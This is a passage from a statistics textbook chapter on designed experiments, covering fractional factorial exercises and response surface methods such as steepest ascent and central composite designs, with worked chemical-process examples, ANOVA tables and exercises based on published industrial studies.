$e = 23.2$	$cd = 23.8$
$ab = 15.5$	$ace = 23.4$
$ad = 16.9$	$bde = 16.8$
$bc = 16.2$	$abcde = 18.1$

(a) Verify that the design generators used were $I = ACE$ and $I = BDE$.

(b) Write down the complete defining relation and the aliases from the design.

(c) Estimate the main effects.

(d) Prepare an analysis of variance table. Verify that the AB and AD interactions are available to use as error.

(e) Plot the residuals versus the fitted values. Also construct a normal probability plot of the residuals. Comment on the results.

14-48. Suppose that in Exercise 14-14 only a ¼ fraction of the 2^5 design could be run. Construct the design and analyze the data that are obtained by selecting only the response for the eight runs in your design.

14-49. For each of the following designs write down the aliases, assuming that only main effects and two factor interactions are of interest.

(a) 2^{6-3}_{III} (b) 2^{8-4}_{IV}

14-50. Consider the 2^{6-2} design in Table 14-29.

(a) Suppose that after analyzing the original data, we find that factors C and E can be dropped. What type of 2^k design is left in the remaining variables?

(b) Suppose that after the original data analysis, we find that factors D and F can be dropped. What type of 2^k design is left in the remaining variables? Compare the results with part (a). Can you explain why the answers are different?

14-51. An article in the *Journal of Radioanalytical and Nuclear Chemistry* (2008, Vol. 276, No. 2, pp. 323–328) presented a 2^{8-4} fractional factorial design to identify sources of Pu contamination in the radioactivity material analysis of dried shellfish at the National Institute of Standards and Technology (NIST). The data are shown in the following table. No contamination occurred at runs 1, 4, and 9.

2^{8-4}	Glassware	Reagent	Sample Prep	Tracer	Dissolution	Hood	Chemistry	Ashing	Response, mBq
Run	x_1	x_2	x_3	x_4	x_5	x_6	x_7	x_8	y
1	−1	−1	−1	−1	−1	−1	−1	−1	0
2	+1	−1	−1	−1	−1	+1	+1	+1	3.31
3	−1	+1	−1	−1	+1	−1	+1	+1	0.0373
4	+1	+1	−1	−1	+1	+1	−1	−1	0
5	−1	−1	+1	−1	+1	+1	+1	−1	0.0649
6	+1	−1	+1	−1	+1	−1	−1	+1	0.133
7	−1	+1	+1	−1	−1	+1	−1	+1	0.0461
8	+1	+1	+1	−1	−1	−1	+1	−1	0.0297
9	−1	−1	−1	+1	+1	+1	−1	+1	0
10	+1	−1	−1	+1	+1	−1	+1	−1	0.287
11	−1	+1	−1	+1	−1	+1	+1	−1	0.133
12	+1	+1	−1	+1	−1	−1	−1	+1	0.0476
13	−1	−1	+1	+1	−1	−1	+1	+1	0.133
14	+1	−1	+1	+1	−1	+1	−1	−1	5.75
15	−1	+1	+1	+1	+1	−1	−1	−1	0.0153
16	+1	+1	+1	+1	+1	+1	+1	+1	2.47

The factors and levels are shown in the following table.

Factor	−1	+1
Glassware	Distilled water	Soap, acid, stored
Reagent	New	Old
Sample prep	Co-precipitation	Electrodeposition
Tracer	Stock	Fresh
Dissolution	Without	With
Hood	B	A
Chemistry	Without	With
Ashing	Without	With

(a) Write down the alias relationships.
(b) Estimate the main effects.
(c) Prepare a normal probability plot for the effects and interpret the results.

14-52. An article in the *Journal of Marketing Research* (1973, Vol. 10, No. 3, pp. 270–276) presented a 2^{7-4} fractional factorial design to conduct marketing research:

Runs	A	B	C	D	E	F	G	Sales for a 6-week period (in $1000)
1	−1	−1	−1	1	1	1	−1	8.7
2	1	−1	−1	−1	−1	1	1	15.1
3	−1	1	−1	−1	1	−1	1	9.7
4	1	1	−1	1	−1	−1	−1	11.3
5	−1	−1	1	1	−1	−1	1	14.7
6	1	−1	1	−1	1	−1	−1	22.3
7	−1	1	1	−1	−1	1	−1	16.1
8	1	1	1	1	1	1	1	22.1

The factors and levels are shown in the following table.

	Factor	−1	+1
A	Television advertising	No advertising	Advertising
B	Billboard advertising	No advertising	Advertising
C	Newspaper advertising	No advertising	Advertising
D	Candy wrapper design	Conservative design	Flashy design
E	Display design	Normal shelf display	Special aisle display
F	Free sample program	No free samples	Free samples
G	Size of candy bar	1 oz. bar	2 ½ oz. bar

(a) Write down the alias relationships.
(b) Estimate the main effects.
(c) Prepare a normal probability plot for the effects and interpret the results.

14-8 RESPONSE SURFACE METHODS AND DESIGNS

Response surface methodology, or RSM, is a collection of mathematical and statistical techniques that are useful for modeling and analysis in applications where a response of interest is influenced by several variables and the objective is to **optimize this response.** For example, suppose that a chemical engineer wishes to find the levels of temperature (x_1) and feed concentration (x_2) that maximize the yield (y) of a process. The process yield is a function of the levels of temperature and feed concentration, say,

$$Y = f(x_1, x_2) + \epsilon$$

where ϵ represents the noise or error observed in the response Y. If we denote the expected response by $E(Y) = f(x_1, x_2) = \eta$, then the surface represented by

$$\eta = f(x_1, x_2)$$

is called a **response surface.**

We may represent the response surface graphically as shown in Fig. 14-42, where η is plotted versus the levels of x_1 and x_2. Notice that the response is represented as a surface plot in a three-dimensional space. To help visualize the shape of a response surface, we often plot the contours of the response surface as shown in Fig. 14-43. In the contour plot, lines of constant response are drawn in the x_1, x_2 plane. Each contour corresponds to a particular height of the response surface. The contour plot is helpful in studying the levels of x_1 and x_2 that result in changes in the shape or height of the response surface.

In most RSM problems, the form of the relationship between the response and the independent variables is unknown. Thus, the first step in RSM is to find a suitable approximation for the true relationship between Y and the independent variables. Usually, a low-order polynomial in some region of the independent variables is employed. If the response is well modeled by a linear function of the independent variables, the approximating function is the **first-order model**

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \cdots + \beta_k x_k + \epsilon \tag{14-21}$$

If there is curvature in the system, then a polynomial of higher degree must be used, such as the **second-order model**

$$Y = \beta_0 + \sum_{i=1}^{k} \beta_i x_i + \sum_{i=1}^{k} \beta_{ii} x_i^2 + \sum_{i<j}\sum \beta_{ij} x_i x_j + \epsilon \tag{14-22}$$

Figure 14-42 A three-dimensional response surface showing the expected yield as a function of temperature and feed concentration.

Figure 14-43 A contour plot of the yield response surface in Figure 14-42.

Many RSM problems use one or both of these approximating polynomials. Of course, it is unlikely that a polynomial model will be a reasonable approximation of the true functional relationship over the entire space of the independent variables, but for a relatively small region they usually work quite well.

The method of least squares, discussed in Chapters 11 and 12, is used to estimate the parameters in the approximating polynomials. The response surface analysis is then done in terms of the fitted surface. If the fitted surface is an adequate approximation of the true response function, analysis of the fitted surface will be approximately equivalent to analysis of the actual system.

RSM is a **sequential** procedure. Often, when we are at a point on the response surface that is remote from the optimum, such as the current operating conditions in Fig. 14-43, there is little curvature in the system and the first-order model will be appropriate. Our objective here is to lead the experimenter rapidly and efficiently to the general vicinity of the optimum. Once the region of the optimum has been found, a more elaborate model such as the second-order model may be employed, and an analysis may be performed to locate the optimum. From Fig. 14-43, we see that the analysis of a response surface can be thought of as "climbing a hill," where the top of the hill represents the point of maximum response. If the true optimum is a point of minimum response, we may think of "descending into a valley."

The eventual objective of RSM is to determine the optimum operating conditions for the system or to determine a region of the factor space in which operating specifications are satisfied. Also, note that the word "optimum" in RSM is used in a special sense. The "hill climbing" procedures of RSM guarantee convergence to a local optimum only.

Method of Steepest Ascent

Frequently, the initial estimate of the optimum operating conditions for the system will be far from the actual optimum. In such circumstances, the objective of the experimenter is to move rapidly to the general vicinity of the optimum. We wish to use a simple and economically efficient experimental procedure. When we are remote from the optimum, we usually assume that a first-order model is an adequate approximation to the true surface in a small region of the x's.

The method of **steepest ascent** is a procedure for moving sequentially along the path of steepest ascent, that is, in the direction of the maximum increase in the response. Of course, if **minimization** is desired, we are talking about the method of **steepest descent.** The fitted first-order model is

$$\hat{y} = \hat{\beta}_0 + \sum_{i=1}^{k} \hat{\beta}_i x_i \tag{14-23}$$

and the first-order response surface, that is, the contours of $\hat{y}$, is a series of parallel lines such as that shown in Fig. 14-44. The direction of steepest ascent is the direction in which $\hat{y}$ increases most rapidly. This direction is normal to the fitted response surface contours. We usually take as the path of **steepest ascent** the line through the center of the region of interest and normal to the fitted surface contours. Thus, the steps along the path are proportional to the regression coefficients $\{\hat{\beta}_i\}$. The experimenter determines the actual step size based on process knowledge or other practical considerations.

Experiments are conducted along the path of steepest ascent until no further increase in response is observed. Then a new first-order model may be fit, a new direction of steepest ascent determined, and further experiments conducted in that direction until the experimenter feels that the process is near the optimum.

Figure 14-44 First-order response surface and path of steepest ascent.

EXAMPLE 14-11 Process Yield Steepest Ascent

In Example 14-6 we described an experiment on a chemical process in which two factors, reaction time (x_1) and reaction temperature (x_2), affect the percent conversion or yield (Y). Figure 14-27 shows the 2^2 design plus five center points used in this study. The engineer found that both factors were important, there was no interaction, and there was no curvature in the response surface. Therefore, the first-order model

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$$

should be appropriate. Now the effect estimate of time is 1.55 hours and the effect estimate of temperature is 0.65°F, and since the regression coefficients $\hat{\beta}_1$ and $\hat{\beta}_2$ are one-half of the corresponding effect estimates, the fitted first-order model is

$$\hat{y} = 40.44 + 0.775x_1 + 0.325x_2$$

Figure 14-45(a) and (b) show the contour plot and three-dimensional surface plot of this model. Figure 14-45 also

Figure 14-45 Response surface plots for the first-order model in Example 14-11.

Point A: 40 minutes, 157°F, y = 40.5
Point B: 45 minutes, 159°F, y = 51.3
Point C: 50 minutes, 161°F, y = 59.6
Point D: 55 minutes, 163°F, y = 67.1
Point E: 60 minutes, 165°F, y = 63.6
Point F: 65 minutes, 167°F, y = 60.7

Figure 14-46 Steepest ascent experiment for Example 14-11.

shows the relationship between the **coded variables** x_1 and x_2 (that defined the high and low levels of the factors) and the original variables, time (in minutes) and temperature (in °F).

From examining these plots (or the fitted model), we see that to move away from the design center—the point ($x_1 = 0$, $x_2 = 0$)—along the path of steepest ascent, we would move 0.775 unit in the x_1 direction for every 0.325 unit in the x_2 direction. Thus, the path of steepest ascent passes through the point ($x_1 = 0$, $x_2 = 0$) and has a slope 0.325/0.775. The engineer decides to use 5 minutes of reaction time as the basic step size. Now, 5 minutes of reaction time is equivalent to a step in the *coded* variable x_1 of $\Delta x_1 = 1$. Therefore, the steps along the path of steepest ascent are $\Delta x_1 = 1.0000$ and $\Delta x_2 = (0.325/0.775)\Delta x_1 = 0.42$. A change of $\Delta x_2 = 0.42$ in the coded variable x_2 is equivalent to about 2°F in the original variable temperature. Therefore, the engineer will move along the path of steepest ascent by increasing reaction time by 5 minutes and temperature by 2°F. An actual observation on yield will be determined at each point.

Next Steps: Figure 14-46 shows several points along this path of steepest ascent and the yields actually observed from the process at those points. At points *A*–*D* the observed yield increases steadily, but beyond point *D*, the yield decreases. Therefore, steepest ascent would terminate in the vicinity of 55 minutes of reaction time and 163°F with an observed percent conversion of 67%.

Analysis of a Second-Order Response Surface

When the experimenter is relatively close to the optimum, a second-order model is usually required to approximate the response because of curvature in the true response surface. The fitted second-order model is

$$\hat{y} = \hat{\beta}_0 + \sum_{i=1}^{k} \hat{\beta}_i x_i + \sum_{i=1}^{k} \hat{\beta}_{ii} x_i^2 + \sum_{i<j}\sum \hat{\beta}_{ij} x_i x_j$$

where $\hat{\beta}$ denotes the least squares estimate of β. In this section we show how to use this fitted model to find the optimum set of operating conditions for the x's and to characterize the nature of the response surface.

EXAMPLE 14-12 Process Yield Central Composite Design

Continuation of Example 14-11

Consider the chemical process from Example 14-11, where the method of steepest ascent terminated at a reaction time of 55 minutes and a temperature of 163°F. The experimenter decides to fit a second-order model in this region. Table 14-34 and Fig. 14-47 show the experimental design, which consists of a 2^2 design centered at 55 minutes and 165°F, five center points, and four runs along the coordinate axes called axial runs. This type of design is called a **central composite design,** and it is a very popular design for fitting second-order response surfaces.

Two response variables were measured during this phase of the experiment: percentage conversion (yield) and

Table 14-34 Central Composite Design for Example 14-12

Observation Number	Time (minutes)	Temperature (°F)	Coded Variables x_1	x_2	Conversion (percent) Response 1	Viscosity (mPa-sec) Response 2
1	50	160	−1	−1	65.3	35
2	60	160	1	−1	68.2	39
3	50	170	−1	1	66	36
4	60	170	1	1	69.8	43
5	48	165	−1.414	0	64.5	30
6	62	165	1.414	0	69	44
7	55	158	0	−1.414	64	31
8	55	172	0	1.414	68.5	45
9	55	165	0	0	68.9	37
10	55	165	0	0	69.7	34
11	55	165	0	0	68.5	35
12	55	165	0	0	69.4	36
13	55	165	0	0	69	37

viscosity. The least-squares quadratic model for the yield response is

$$\hat{y} = 69.1 + 1.633x_1 + 1.083x_2 - 0.969x_1^2 - 1.219x_2^2 + 0.225x_1x_2$$

The analysis of variance for this model is shown in Table 14-35.

Figure 14-48 shows the response surface contour plot and the three-dimensional surface plot for this model. From examination of these plots, the maximum yield is about 70%, obtained at approximately 60 minutes of reaction time and 167°F.

The viscosity response is adequately described by the first-order model

$$\hat{y}_2 = 37.08 + 3.85x_1 + 3.10x_2$$

Table 14-36 summarizes the analysis of variance for this model. The response surface is shown graphically in Fig. 14-49. Notice that viscosity increases as both time and temperature increase.

Practical Interpretation: As in most response surface problems, the experimenter in this example had conflicting objectives regarding the two responses. The objective was to maximize yield, but the acceptable range for viscosity was

Figure 14-47 Central composite design for Example 14-12.

Table 14-35 Analysis of Variance for the Quadratic Model, Yield Response

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-Value
Model	45.89	5	9.178	14.93	0.0013
Residual	4.30	7	0.615		
Total	50.19	12			

Independent Variable	Coefficient Estimate	Standard Error	t for H_0 Coefficient = 0	P-Value
Intercept	69.100	0.351	197.1	
x_1	1.633	0.277	5.891	0.0006
x_2	1.083	0.277	3.907	0.0058
x_1^2	−0.969	0.297	−3.259	0.0139
x_2^2	−1.219	0.297	−4.100	0.0046
x_1x_2	0.225	0.392	0.5740	0.5839

Figure 14-48 Response surface plots for the yield response, Example 14-12.

Table 14-36 Analysis of Variance for the First-Order Model, Viscosity Response

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-Value
Model	195.4	2	97.72	15.89	0.0008
Residual	61.5	10	6.15		
Total	256.9	12			

Independent Variable	Coefficient Estimate	Degrees of Freedom	Standard Error	t for H_0 Coefficient = 0	P-Value
Intercept	37.08	1	0.69	53.91	
x_1	3.85	1	0.88	4.391	0.0014
x_2	3.10	1	0.88	3.536	0.0054

Figure 14-49 Response surface plots for the viscosity response, Example 14-12.

$38 \leq y_2 \leq 42$. When there are only a few independent variables, an easy way to solve this problem is to overlay the response surfaces to find the optimum. Figure 14-50 shows the overlay plot of both responses, with the contours $y_1 = 69\%$ conversion, $y_2 = 38$, and $y_2 = 42$ highlighted. The shaded areas on this plot identify unfeasible combinations of time and temperature. This graph shows that several combinations of time and temperature will be satisfactory.

Example 14-12 illustrates the use of a **central composite design** (CCD) for fitting a second-order response surface model. These designs are widely used in practice because they are relatively efficient with respect to the number of runs required. In general, a CCD in k factors requires 2^k factorial runs, $2k$ axial runs, and at least one center point (three to five center points are typically used). Designs for $k = 2$ and $k = 3$ factors are shown in Fig. 14-51.

The central composite design may be made **rotatable** by proper choice of the axial spacing α in Fig. 14-51. If the design is rotatable, the standard deviation of predicted response

Figure 14-50 Overlay of yield and viscosity response surfaces, Example 14-12.

Figure 14-51 Central composite designs for $k = 2$ and $k = 3$.

$\hat{y}$ is constant at all points that are the same distance from the center of the design. For rotatability, choose $\alpha = (F)^{1/4}$, where F is the number of points in the factorial part of the design (usually $F = 2^k$). For the case of $k = 2$ factors, $\alpha = (2^2)^{1/4} = 1.414$, as was used in the design in Example 14-12. Figure 14-52 presents a contour plot and a surface plot of the standard deviation of prediction for the quadratic model used for the yield response. Notice that the contours are concentric circles, implying that yield is predicted with equal precision for all points that are the same distance from the center of the design. Also, as one would expect, the precision decreases with increasing distance from the design center.

Figure 14-52 Plots of constant $\sqrt{V(\hat{y})}$ for a rotatable central composite design.

EXERCISES FOR SECTION 14-8

14-53. An article in *Rubber Age* (Vol. 89, 1961, pp. 453–458) describes an experiment on the manufacture of a product in which two factors were varied. The factors are reaction time (hr) and temperature (°C). These factors are coded as $x_1 = (\text{time} - 12)/8$ and $x_2 = (\text{temperature} - 250)/30$. The following data were observed where y is the yield (in percent):

Run Number	x_1	x_2	y
1	−1	0	83.8
2	1	0	81.7
3	0	0	82.4
4	0	0	82.9
5	0	−1	84.7
6	0	1	75.9
7	0	0	81.2
8	−1.414	−1.414	81.3
9	−1.414	1.414	83.1
10	1.414	−1.414	85.3
11	1.414	1.414	72.7
12	0	0	82.0

(a) Plot the points at which the experimental runs were made.
(b) Fit a second-order model to the data. Is the second-order model adequate?
(c) Plot the yield response surface. What recommendations would you make about the operating conditions for this process?

14-54. An article in *Quality Engineering* ["Mean and Variance Modeling with Qualitative Responses: A Case Study" (1998–1999, Vol. 11, pp. 141–148)] studied how three active ingredients of a particular food affect the overall taste of the product. The measure of the overall taste is the overall mean liking score (MLS). The three ingredients are identified by the variables x_1, x_2, and x_3. The data are shown in the following table.

Run	x_1	x_2	x_3	MLS
1	1	1	−1	6.3261
2	1	1	1	6.2444
3	0	0	0	6.5909
4	0	−1	0	6.3409
5	1	−1	1	5.907
6	1	−1	−1	6.488
7	0	0	−1	5.9773
8	0	1	0	6.8605
9	−1	−1	1	6.0455
10	0	0	1	6.3478
11	1	0	0	6.7609
12	−1	−1	−1	5.7727
13	−1	1	−1	6.1805
14	−1	1	1	6.4894
15	−1	0	0	6.8182

(a) Fit a second-order response surface model to the data.
(b) Construct contour plots and response surface plots for MLS. What are your conclusions?
(c) Analyze the residuals from this experiment. Does your analysis indicate any potential problems?
(d) This design has only a single center point. Is this a good design in your opinion?

14-55. Consider the first-order model

$$\hat{y} = 50 + 1.5x_1 - 0.8x_2$$

where $-1 \le x_i \le 1$. Find the direction of steepest ascent.

14-56. A manufacturer of cutting tools has developed two empirical equations for tool life (y_1) and tool cost (y_2). Both models are functions of tool hardness (x_1) and manufacturing time (x_2). The equations are

$$\hat{y}_1 = 10 + 5x_1 + 2x_2$$
$$\hat{y}_2 = 23 + 3x_1 + 4x_2$$

and both equations are valid over the range $-1.5 \le x_i \le 1.5$. Suppose that tool life must exceed 12 hours and cost must be below \$27.50.
(a) Is there a feasible set of operating conditions?
(b) Where would you run this process?

14-57. An article in *Tappi* (1960, Vol. 43, pp. 38–44) describes an experiment that investigated the ash value of paper pulp (a measure of inorganic impurities). Two variables, temperature T in degrees Celsius and time t in hours, were studied, and some of the results are shown in the following table. The coded predictor variables shown are

$$x_1 = \frac{(T - 775)}{115}, \qquad x_2 = \frac{(t - 3)}{1.5}$$

and the response y is (dry ash value in %) $\times 10^3$.

x_1	x_2	y	x_1	x_2	y
−1	−1	211	0	−1.5	168
1	−1	92	0	1.5	179
−1	1	216	0	0	122
1	1	99	0	0	175
−1.5	0	222	0	0	157
1.5	0	48	0	0	146

(a) What type of design has been used in this study? Is the design rotatable?
(b) Fit a quadratic model to the data. Is this model satisfactory?
(c) If it is important to minimize the ash value, where would you run the process?

14-58. In their book *Empirical Model Building and Response Surfaces* (John Wiley, 1987), Box and Draper described an experiment with three factors. The data shown in the following table are a variation of the original experiment on page 247 of their book. Suppose that these data were collected in a semiconductor manufacturing process.
(a) The response y_1 is the average of three readings on resistivity for a single wafer. Fit a quadratic model to this response.
(b) The response y_2 is the standard deviation of the three resistivity measurements. Fit a linear model to this response.
(c) Where would you recommend that we set x_1, x_2, and x_3 if the objective is to hold mean resistivity at 500 and minimize the standard deviation?

x_1	x_2	x_3	y_1	y_2	x_1	x_2	x_3	y_1	y_2
−1	−1	−1	24.00	12.49	1	0	0	501.67	92.50
0	−1	−1	120.33	8.39	−1	1	0	264.00	63.50
1	−1	−1	213.67	42.83	0	1	0	427.00	88.61
−1	0	−1	86.00	3.46	1	1	0	730.67	21.08
0	0	−1	136.63	80.41	−1	−1	1	220.67	133.82
1	0	−1	340.67	16.17	0	−1	1	239.67	23.46
−1	1	−1	112.33	27.57	1	−1	1	422.00	18.52
0	1	−1	256.33	4.62	−1	0	1	199.00	29.44
1	1	−1	271.67	23.63	0	0	1	485.33	44.67
−1	−1	0	81.00	0.00	1	0	1	673.67	158.21
0	−1	0	101.67	17.67	−1	1	1	176.67	55.51
1	−1	0	357.00	32.91	0	1	1	501.00	138.94
−1	0	0	171.33	15.01	1	1	1	1010.00	142.45
0	0	0	372.00	0.00					

14-59. Consider the first-order model

$$y = 12 + 1.2x_1 - 2.1x_2 + 1.6x_3 - 0.6x_4$$

where $-1 \le x_i \le 1$.

(a) Find the direction of steepest ascent.

(b) Assume the current design is centered at the point (0, 0, 0, 0). Determine the point that is three units from the current center point in the direction of steepest ascent.

14-60. An article in the *Journal of Materials Processing Technology* (1997, Vol. 67, pp. 55–61) used response surface methodology to generate surface roughness prediction models for turning EN 24T steel (290 BHN). The data are shown in the following table.

Trial	Speed, V (m min^{-1})	Feed, f (mm rev^{-1})	Depth of cut, d (mm)	Coding x_1	Coding x_2	Coding x_3	Surface roughness, R_a (μm)
1	36	0.15	0.50	−1	−1	−1	1.8
2	117	0.15	0.50	1	−1	−1	1.233
3	36	0.40	0.50	−1	1	−1	5.3
4	117	0.40	0.50	1	1	−1	5.067
5	36	0.15	1.125	−1	−1	1	2.133
6	117	0.15	1.125	1	−1	1	1.45
7	36	0.40	1.125	−1	1	1	6.233
8	117	0.40	1.125	1	1	1	5.167
9	65	0.25	0.75	0	0	0	2.433
10	65	0.25	0.75	0	0	0	2.3
11	65	0.25	0.75	0	0	0	2.367
12	65	0.25	0.75	0	0	0	2.467
13	28	0.25	0.75	$-\sqrt{2}$	0	0	3.633
14	150	0.25	0.75	$\sqrt{2}$	0	0	2.767
15	65	0.12	0.75	0	$-\sqrt{2}$	0	1.153
16	65	0.50	0.75	0	$\sqrt{2}$	0	6.333
17	65	0.25	0.42	0	0	$-\sqrt{2}$	2.533
18	65	0.25	1.33	0	0	$\sqrt{2}$	3.20
19	28	0.25	0.75	$-\sqrt{2}$	0	0	3.233
20	150	0.25	0.75	$\sqrt{2}$	0	0	2.967
21	65	0.12	0.75	0	$-\sqrt{2}$	0	1.21
22	65	0.50	0.75	0	$\sqrt{2}$	0	6.733
23	65	0.25	0.42	0	0	$-\sqrt{2}$	2.833
24	65	0.25	1.33	0	0	$\sqrt{2}$	3.267

The factors and levels for the experiment are shown in the following table.

(a) Plot the points at which the experimental runs were made.

(b) Fit both first-and second-order models to the data. Comment on the adequacies of these models.

(c) Plot the roughness response surface for the second-order model and comment.

Levels	Lowest	Low	Center	High	Highest
Coding	$-\sqrt{2}$	-1	0	1	$\sqrt{2}$
Speed, V (m min^{-1})	28	36	65	117	150
Feed, f (mm rev^{-1})	0.12	0.15	0.25	0.40	0.50
Depth of cut, d (mm)	0.42	0.50	0.75	1.125	1.33

Supplemental Exercises

14-61. An article in *Process Engineering* (1992, No. 71, pp. 46–47) presents a two-factor factorial experiment used to investigate the effect of pH and catalyst concentration on product viscosity (cSt). The data are as follows:

	Catalyst Concentration	
pH	2.5	2.7
5.6	192, 199, 189, 198	178, 186, 179, 188
5.9	185, 193, 185, 192	197, 196, 204, 204

(a) Test for main effects and interactions using $\alpha = 0.05$. What are your conclusions?

(b) Graph the interaction and discuss the information provided by this plot.

(c) Analyze the residuals from this experiment.

14-62. Heat treating of metal parts is a widely used manufacturing process. An article in the *Journal of Metals* (Vol. 41, 1989) describes an experiment to investigate flatness distortion from heat treating for three types of gears and two heat-treating times. The data are as follows:

	Time (minutes)	
Gear Type	90	120
20-tooth	0.0265	0.0560
	0.0340	0.0650
24-tooth	0.0430	0.0720
	0.0510	0.0880
28-tooth	0.0405	0.0620
	0.0575	0.0825

(a) Is there any evidence that flatness distortion is different for the different gear types? Is there any indication that heat treating time affects the flatness distortion? Do these factors interact? Use $\alpha = 0.05$.

(b) Construct graphs of the factor effects that aid in drawing conclusions from this experiment.

(c) Analyze the residuals from this experiment. Comment on the validity of the underlying assumptions.

14-63. An article in the *Textile Research Institute Journal* (1984, Vol. 54, pp. 171–179) reported the results of an experiment that studied the effects of treating fabric with selected inorganic salts on the flammability of the material. Two application levels of each salt were used, and a vertical burn test was used on each sample. (This finds the temperature at which each sample ignites.) The burn test data follow.

	Salt					
Level	Untreated	$MgCl_2$	NaCl	$CaCO_3$	$CaCl_2$	Na_2CO_3
1	812	752	739	733	725	751
	827	728	731	728	727	761
	876	764	726	720	719	755
2	945	794	741	786	756	910
	881	760	744	771	781	854
	919	757	727	779	814	848

(a) Test for differences between salts, application levels, and interactions. Use $\alpha = 0.01$.

(b) Draw a graph of the interaction between salt and application level. What conclusions can you draw from this graph?

(c) Analyze the residuals from this experiment.

14-64. An article in the *IEEE Transactions on Components, Hybrids, and Manufacturing Technology* (1992, Vol. 15) describes an experiment for investigating a method for aligning

optical chips onto circuit boards. The method involves placing solder bumps onto the bottom of the chip. The experiment used three solder bump sizes and three alignment methods. The response variable is alignment accuracy (in micrometers). The data are as follows:

Solder Bump Size (diameter in μm)	Alignment Method 1	2	3
	4.60	1.55	1.05
75	4.53	1.45	1.00
	2.33	1.72	0.82
130	2.44	1.76	0.95
	4.95	2.73	2.36
260	4.55	2.60	2.46

(a) Is there any indication that either solder bump size or alignment method affects the alignment accuracy? Is there any evidence of interaction between these factors? Use $\alpha = 0.05$.
(b) What recommendations would you make about this process?
(c) Analyze the residuals from this experiment. Comment on model adequacy.

14-65. An article in *Solid State Technology* (Vol. 29, 1984, pp. 281–284) describes the use of factorial experiments in photolithography, an important step in the process of manufacturing integrated circuits. The variables in this experiment (all at two levels) are prebake temperature (A), prebake time (B), and exposure energy (C), and the response variable is delta line width, the difference between the line on the mask and the printed line on the device. The data are as follows: $(1) = -2.30$, $a = -9.87$, $b = -18.20$, $ab = -30.20$, $c = -23.80$, $ac = -4.30$, $bc = -3.80$, and $abc = -14.70$.
(a) Estimate the factor effects.
(b) Use a normal probability plot of the effect estimates to identity factors that may be important.
(c) What model would you recommend for predicting the delta line width response, based on the results of this experiment?
(d) Analyze the residuals from this experiment, and comment on model adequacy.

14-66. An article in the *Journal of Coatings Technology* (Vol. 60, 1988, pp. 27–32) describes a 2^4 factorial design used for studying a silver automobile basecoat. The response variable is distinctness of image (DOI). The variables used in the experiment are

A = Percentage of polyester by weight of polyester/melamine (low value = 50%, high value = 70%)
B = Percentage of cellulose acetate butyrate carboxylate (low value = 15%, high value = 30%)
C = Percentage of aluminum stearate (low value = 1%, high value = 3%)
D = Percentage of acid catalyst (low value = 0.25%, high value = 0.50%)

The responses are $(1) = 63.8$, $a = 77.6$, $b = 68.8$, $ab = 76.5$, $c = 72.5$, $ac = 77.2$, $bc = 77.7$, $abc = 84.5$, $d = 60.6$, $ad = 64.9$, $bd = 72.7$, $abd = 73.3$, $cd = 68.0$, $acd = 76.3$, $bcd = 76.0$, and $abcd = 75.9$.
(a) Estimate the factor effects.
(b) From a normal probability plot of the effects, identify a tentative model for the data from this experiment.
(c) Using the apparently negligible factors as an estimate of error, test for significance of the factors identified in part (b). Use $\alpha = 0.05$.
(d) What model would you use to describe the process, based on this experiment? Interpret the model.
(e) Analyze the residuals from the model in part (d) and comment on your findings.

14-67. An article in the *Journal of Manufacturing Systems* (Vol. 10, 1991, pp. 32–40) describes an experiment to investigate the effect of four factors, P = waterjet pressure, F = abrasive flow rate, G = abrasive grain size, and V = jet traverse speed, on the surface roughness of a waterjet cutter. A 2^4 design follows.
(a) Estimate the factor effects.
(b) Form a tentative model by examining a normal probability plot of the effects.
(c) Is the model in part (b) a reasonable description of the process? Is lack of fit significant? Use $\alpha = 0.05$.
(d) Interpret the results of this experiment.
(e) Analyze the residuals from this experiment.

Run	Factors V (in/min)	F (lb/min)	P (kpsi)	G (Mesh No.)	Surface Roughness (μm)
1	6	2.0	38	80	104
2	2	2.0	38	80	98
3	6	2.0	30	80	103
4	2	2.0	30	80	96
5	6	1.0	38	80	137
6	2	1.0	38	80	112
7	6	1.0	30	80	143
8	2	1.0	30	80	129
9	6	2.0	38	170	88
10	2	2.0	38	170	70
11	6	2.0	30	170	110
12	2	2.0	30	170	110
13	6	1.0	38	170	102
14	2	1.0	38	170	76
15	6	1.0	30	170	98
16	2	1.0	30	170	68

14-68. Construct a 2_{IV}^{4-1} design for the problem in Exercise 14-66. Select the data for the eight runs that would have been required for this design. Analyze these runs and compare your conclusions to those obtained in Exercise 14-66 for the full factorial.

14-69. Construct a 2_{IV}^{4-1} design for the problem in Exercise 14-67. Select the data for the eight runs that would have been required for this design. Analyze these data and compare your conclusions to those obtained in Exercise 14-67 for the full factorial.

14-70. Construct a 2_{IV}^{8-4} design in 16 runs. What are the alias relationships in this design?

14-71. Construct a 2_{III}^{5-2} design in eight runs. What are the alias relationships in this design?

14-72. An article in the *Journal of Quality Technology* (Vol. 17, 1985, pp. 198–206) describes the use of a replicated fractional factorial to investigate the effect of five factors on the free height of leaf springs used in an automotive application. The factors are A = furnace temperature, B = heating time, C = transfer time, D = hold down time, and E = quench oil temperature. The data are shown in the following table.

(a) What is the generator for this fraction? Write out the alias structure.

(b) Analyze the data. What factors influence mean free height?

(c) Calculate the range of free height for each run. Is there any indication that any of these factors affect variability in free height?

(d) Analyze the residuals from this experiment and comment on your findings.

A	*B*	*C*	*D*	*E*	Free Height		
−	−	−	−	−	7.78	7.78	7.81
+	−	−	+	−	8.15	8.18	7.88
−	+	−	+	−	7.50	7.56	7.50
+	+	−	−	−	7.59	7.56	7.75
−	−	+	+	−	7.54	8.00	7.88
+	−	+	−	−	7.69	8.09	8.06
−	+	+	−	−	7.56	7.52	7.44
+	+	+	+	−	7.56	7.81	7.69
−	−	−	−	+	7.50	7.56	7.50
+	−	−	+	+	7.88	7.88	7.44
−	+	−	+	+	7.50	7.56	7.50
+	+	−	−	+	7.63	7.75	7.56
−	−	+	+	+	7.32	7.44	7.44
+	−	+	−	+	7.56	7.69	7.62
−	+	+	−	+	7.18	7.18	7.25
+	+	+	+	+	7.81	7.50	7.59

14-73. An article in *Rubber Chemistry and Technology* (Vol. 47, 1974, pp. 825–836) describes an experiment that studies the Mooney viscosity of rubber to several variables, including silica filler (parts per hundred) and oil filler (parts per hundred). Data typical of that reported in this experiment follow, where

$$x_1 = \frac{\text{silica} - 60}{15}, \qquad x_2 = \frac{\text{oil} - 21}{15}$$

